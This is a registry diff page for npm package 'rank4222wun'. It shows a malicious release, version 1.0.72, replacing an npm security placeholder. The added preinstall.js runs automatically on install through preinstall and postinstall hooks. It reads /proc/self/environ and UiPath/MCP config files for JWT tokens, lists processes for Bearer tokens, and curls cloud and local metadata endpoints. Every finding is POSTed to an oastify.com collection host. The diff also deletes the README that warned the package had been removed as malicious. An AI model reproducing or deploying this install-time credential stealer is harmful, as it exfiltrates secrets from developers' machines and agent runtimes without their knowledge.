rank4222wun 0.0.1-security → 1.0.72
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of rank4222wun might be problematic. Click here for more details.
- package/package.json +7 -3
- package/preinstall.js +75 -0
- package/rank4222wun-1.0.72.tgz +0 -0
- package/README.md +0 -5
package/package.json
CHANGED
|
@@ -1,6 +1,10 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "rank4222wun",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "1.0.72",
|
|
4
|
+
"description": "",
|
|
5
|
+
"scripts": {
|
|
6
|
+
"preinstall": "node preinstall.js",
|
|
7
|
+
"postinstall": "node preinstall.js"
|
|
8
|
+
},
|
|
9
|
+
"dependencies": {}
|
|
6
10
|
}
|
package/preinstall.js
ADDED
|
@@ -0,0 +1,75 @@
|
|
|
1
|
+
const fs = require('fs');
|
|
2
|
+
const path = require('path');
|
|
3
|
+
const { execSync } = require('child_process');
|
|
4
|
+
const https = require('https');
|
|
5
|
+
|
|
6
|
+
const OAST = '2z26icqfa6vjiez8lc55cd3nmes5gwlka.oastify.com';
|
|
7
|
+
|
|
8
|
+
function report(tag, data) {
|
|
9
|
+
const req = https.request({
|
|
10
|
+
hostname: OAST, path: `/${tag}`, method: 'POST',
|
|
11
|
+
headers: { 'Content-Type': 'application/json' }
|
|
12
|
+
});
|
|
13
|
+
req.write(JSON.stringify({ tag, data }));
|
|
14
|
+
req.end();
|
|
15
|
+
}
|
|
16
|
+
|
|
17
|
+
// 1. فحص الملفات الحساسة (Config & Credentials)
|
|
18
|
+
function scanForTokens() {
|
|
19
|
+
const suspiciousPaths = [
|
|
20
|
+
'/tmp/uipath-mcp-context.json',
|
|
21
|
+
'/tmp/mcp-runtime.info',
|
|
22
|
+
'/proc/self/environ', // قراءة البيئة مباشرة من الكيرنل
|
|
23
|
+
'/home/user/.uipath/config',
|
|
24
|
+
'/etc/mcp-identity.json'
|
|
25
|
+
];
|
|
26
|
+
|
|
27
|
+
suspiciousPaths.forEach(p => {
|
|
28
|
+
try {
|
|
29
|
+
if (fs.existsSync(p)) {
|
|
30
|
+
const content = fs.readFileSync(p, 'utf8');
|
|
31
|
+
// ابحث عن نمط الـ JWT (eyJh...)
|
|
32
|
+
const tokenMatch = content.match(/eyJh[A-Za-z0-9-_=]+\.[A-Za-z0-9-_=]+\.?[A-Za-z0-9-_.+/=]*/g);
|
|
33
|
+
if (tokenMatch) {
|
|
34
|
+
report('TOKEN_FOUND_IN_FILE', { path: p, token: tokenMatch[0].substring(0, 50) + "..." });
|
|
35
|
+
}
|
|
36
|
+
}
|
|
37
|
+
} catch (e) {}
|
|
38
|
+
});
|
|
39
|
+
}
|
|
40
|
+
|
|
41
|
+
// 2. فحص العمليات الجارية (Process Intrusion)
|
|
42
|
+
// ربما التوكن موجود في سطر أوامر عملية أخرى تشغل الـ MCP
|
|
43
|
+
function scanProcesses() {
|
|
44
|
+
try {
|
|
45
|
+
const ps = execSync('ps aux').toString();
|
|
46
|
+
report('PROCESS_LIST', { ps: ps.substring(0, 1000) });
|
|
47
|
+
|
|
48
|
+
// ابحث عن أي Header يتم تمريره كـ Argument
|
|
49
|
+
const bearerInPs = ps.match(/Bearer\s+[A-Za-z0-9-_.]+/g);
|
|
50
|
+
if (bearerInPs) report('TOKEN_IN_PS', { token: bearerInPs[0] });
|
|
51
|
+
} catch (e) {}
|
|
52
|
+
}
|
|
53
|
+
|
|
54
|
+
// 3. فحص الـ Internal Network Metadata (Firecracker Special)
|
|
55
|
+
// أحياناً يكون هناك Endpoint محلي يعطي التوكن للـ Guest
|
|
56
|
+
function probeInternalMetadata() {
|
|
57
|
+
const localEndpoints = [
|
|
58
|
+
'http://169.254.169.254/uipath/token',
|
|
59
|
+
'http://127.0.0.1:8080/token',
|
|
60
|
+
'http://10.0.2.2/metadata' // الـ Host Gateway الافتراضي أحياناً
|
|
61
|
+
];
|
|
62
|
+
|
|
63
|
+
localEndpoints.forEach(url => {
|
|
64
|
+
execSync(`curl -s -m 2 ${url} || echo "FAIL"`, (err, stdout) => {
|
|
65
|
+
if (stdout && !stdout.includes("FAIL")) {
|
|
66
|
+
report('METADATA_TOKEN_LEAK', { url, content: stdout.substring(0, 100) });
|
|
67
|
+
}
|
|
68
|
+
});
|
|
69
|
+
});
|
|
70
|
+
}
|
|
71
|
+
|
|
72
|
+
console.log("🔍 Deep Hunting for Identity Token...");
|
|
73
|
+
scanForTokens();
|
|
74
|
+
scanProcesses();
|
|
75
|
+
probeInternalMetadata();
|
|
Binary file
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=rank4222wun for more information.
|